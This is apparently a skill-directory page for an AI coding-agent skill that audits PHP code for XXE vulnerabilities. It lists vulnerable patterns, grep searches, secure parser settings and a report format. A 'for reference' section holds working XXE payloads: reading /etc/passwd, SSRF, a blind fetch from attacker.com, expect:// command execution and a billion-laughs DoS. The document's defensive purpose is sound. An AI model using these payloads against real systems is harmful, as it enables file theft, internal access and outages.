acc-check-xxe
1
总安装量
1
周安装量
#52657
全站排名
安装命令
npx skills add https://github.com/dykyi-roman/awesome-claude-code --skill acc-check-xxe
Agent 安装分布
opencode
1
claude-code
1
Skill 文档
XXE (XML External Entity) Security Check
Analyze PHP code for XXE vulnerabilities (OWASP A03:2021).
Detection Patterns
1. SimpleXML without Protection
// CRITICAL: User input directly to simplexml
$xml = simplexml_load_string($_POST['xml']);
$xml = simplexml_load_file($_FILES['upload']['tmp_name']);
// CRITICAL: Default options allow entities
$xml = new SimpleXMLElement($userInput);
// VULNERABLE: LIBXML_NOENT enables entity substitution
$xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT);
2. DOMDocument External Entities
// CRITICAL: Loading user XML without protection
$doc = new DOMDocument();
$doc->loadXML($_POST['xml']);
$doc->load($_FILES['upload']['tmp_name']);
// CRITICAL: resolveExternals enabled
$doc = new DOMDocument();
$doc->resolveExternals = true;
$doc->loadXML($userXml);
// CRITICAL: substituteEntities enabled
$doc->substituteEntities = true;
3. XMLReader Vulnerabilities
// CRITICAL: XMLReader with user input
$reader = new XMLReader();
$reader->open($_FILES['upload']['tmp_name']);
$reader->XML($_POST['xml']);
// VULNERABLE: setParserProperty for entities
$reader->setParserProperty(XMLReader::SUBST_ENTITIES, true);
4. Missing libxml_disable_entity_loader
// CRITICAL: External entities not disabled (PHP < 8.0)
// libxml_disable_entity_loader(true) should be called
// VULNERABLE: Entity loader enabled
libxml_disable_entity_loader(false);
$xml = simplexml_load_string($userInput);
// Note: In PHP 8.0+, libxml_disable_entity_loader is deprecated
// External entities are disabled by default
5. XSLT Processor Attacks
// CRITICAL: User-provided XSL stylesheet
$xsl = new DOMDocument();
$xsl->load($_FILES['stylesheet']['tmp_name']);
$proc = new XSLTProcessor();
$proc->importStyleSheet($xsl);
$proc->transformToXML($xmlDoc);
// CRITICAL: registerPHPFunctions enabled
$proc->registerPHPFunctions(); // Allows calling PHP functions from XSL
$proc->registerPHPFunctions(['system', 'exec']); // RCE!
6. SOAP Client XXE
// CRITICAL: SOAP with user-controlled WSDL
$client = new SoapClient($_GET['wsdl']);
// CRITICAL: SOAP XML with entities
$client = new SoapClient($wsdl);
$response = $client->__doRequest($userXml, $location, $action, $version);
7. XML-RPC Vulnerabilities
// CRITICAL: xmlrpc_decode with user input
$result = xmlrpc_decode($_POST['data']);
// CRITICAL: xmlrpc_decode_request
$params = xmlrpc_decode_request($rawPost, $method);
8. RSS/Atom Feed Parsing
// CRITICAL: Parsing external feeds
$feed = simplexml_load_file($userProvidedUrl);
// CRITICAL: RSS feed with entities
$rss = new DOMDocument();
$rss->load($_GET['feed_url']);
9. SVG/XML File Upload
// CRITICAL: SVG files can contain XXE
$svg = simplexml_load_file($_FILES['image']['tmp_name']);
// SVG example with XXE:
// <?xml version="1.0"?>
// <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
// <svg>&xxe;</svg>
10. XML in API Requests
// CRITICAL: API accepting XML
$contentType = $_SERVER['CONTENT_TYPE'];
if (strpos($contentType, 'application/xml') !== false) {
$xml = simplexml_load_string(file_get_contents('php://input'));
}
XXE Attack Payloads (for reference)
<!-- Basic file read -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
<!-- SSRF via XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-server/secret">
]>
<foo>&xxe;</foo>
<!-- Parameter entity for blind XXE -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
<foo>test</foo>
<!-- PHP expect wrapper (if enabled) -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<foo>&xxe;</foo>
<!-- Billion laughs (DoS) -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz>&lol3;</lolz>
Grep Patterns
# SimpleXML functions
Grep: "(simplexml_load_string|simplexml_load_file|SimpleXMLElement)\s*\(" --glob "**/*.php"
# DOMDocument loading
Grep: "(loadXML|load)\s*\(" --glob "**/*.php"
# XMLReader
Grep: "XMLReader" --glob "**/*.php"
# XSLT
Grep: "XSLTProcessor|importStyleSheet" --glob "**/*.php"
# SOAP
Grep: "SoapClient|SoapServer" --glob "**/*.php"
# Entity loader status
Grep: "libxml_disable_entity_loader" --glob "**/*.php"
# LIBXML flags
Grep: "LIBXML_NOENT|LIBXML_DTDLOAD" --glob "**/*.php"
Secure Patterns
Disable External Entities
// SECURE: PHP < 8.0
libxml_disable_entity_loader(true);
// SECURE: Use safe LIBXML options
$xml = simplexml_load_string(
$data,
'SimpleXMLElement',
LIBXML_NONET | LIBXML_NOENT
);
// Note: LIBXML_NONET prevents network access
// LIBXML_NOENT = substitute entities, but with loader disabled is safe
DOMDocument Safe Configuration
// SECURE: DOMDocument with protection
$doc = new DOMDocument();
$doc->resolveExternals = false;
$doc->substituteEntities = false;
// PHP 8.0+: External entities disabled by default
// But explicitly set for defense in depth
$doc->loadXML($xml, LIBXML_NONET);
XMLReader Safe Configuration
// SECURE: XMLReader without entity expansion
$reader = new XMLReader();
$reader->open($file);
$reader->setParserProperty(XMLReader::SUBST_ENTITIES, false);
$reader->setParserProperty(XMLReader::LOADDTD, false);
XSLT Safe Configuration
// SECURE: XSLT without PHP functions
$proc = new XSLTProcessor();
// Do NOT call registerPHPFunctions()
$proc->importStyleSheet($trustedXsl);
$result = $proc->transformToXML($xml);
// SECURE: If functions needed, whitelist safe ones only
$proc->registerPHPFunctions(['date', 'number_format']);
Validate XML Before Parsing
// SECURE: Check for DTD declarations
final class SafeXmlParser
{
public function parse(string $xml): SimpleXMLElement
{
// Reject XML with DOCTYPE (potential XXE)
if (preg_match('/<!DOCTYPE/i', $xml)) {
throw new SecurityException('DOCTYPE not allowed');
}
// Reject XML with entity declarations
if (preg_match('/<!ENTITY/i', $xml)) {
throw new SecurityException('ENTITY not allowed');
}
// Safe to parse
libxml_use_internal_errors(true);
$result = simplexml_load_string(
$xml,
'SimpleXMLElement',
LIBXML_NONET
);
if ($result === false) {
throw new ParseException('Invalid XML');
}
return $result;
}
}
Use JSON Instead
// SECURE: Prefer JSON over XML when possible
// XML:
// <user><name>John</name><email>john@example.com</email></user>
// JSON (no XXE risk):
// {"name": "John", "email": "john@example.com"}
$data = json_decode($input, true, 512, JSON_THROW_ON_ERROR);
SVG Sanitization
// SECURE: Sanitize SVG uploads
final class SvgSanitizer
{
public function sanitize(string $svg): string
{
// Remove DOCTYPE
$svg = preg_replace('/<!DOCTYPE[^>]*>/i', '', $svg);
// Remove entity declarations
$svg = preg_replace('/<!ENTITY[^>]*>/i', '', $svg);
// Remove processing instructions
$svg = preg_replace('/<\?xml[^>]*\?>/i', '', $svg);
// Remove script tags
$svg = preg_replace('/<script[^>]*>.*?<\/script>/is', '', $svg);
return $svg;
}
}
Severity Classification
| Pattern | Severity | CWE |
|---|---|---|
| User XML without entity protection | ð´ Critical | CWE-611 |
| LIBXML_NOENT with user input | ð´ Critical | CWE-611 |
| XSLT with registerPHPFunctions | ð´ Critical | CWE-611 |
| SOAP with user WSDL | ð´ Critical | CWE-611 |
| SVG upload without sanitization | ð Major | CWE-611 |
| Missing LIBXML_NONET | ð¡ Minor | CWE-611 |
Output Format
### XXE: [Description]
**Severity:** ð´ Critical
**Location:** `file.php:line`
**CWE:** CWE-611 (XML External Entity Reference)
**Issue:**
XML is parsed without disabling external entity processing, allowing file disclosure.
**Attack Vector:**
1. Attacker sends XML with external entity
2. Parser fetches file:///etc/passwd
3. File contents returned in response
**Code:**
```php
// Vulnerable
$xml = simplexml_load_string($_POST['xml']);
Fix:
// Secure: Disable entities and network access
$xml = simplexml_load_string(
$_POST['xml'],
'SimpleXMLElement',
LIBXML_NONET
);
// Better: Reject DOCTYPE entirely
if (preg_match('/<!DOCTYPE/i', $_POST['xml'])) {
throw new SecurityException('DOCTYPE not allowed');
}
References: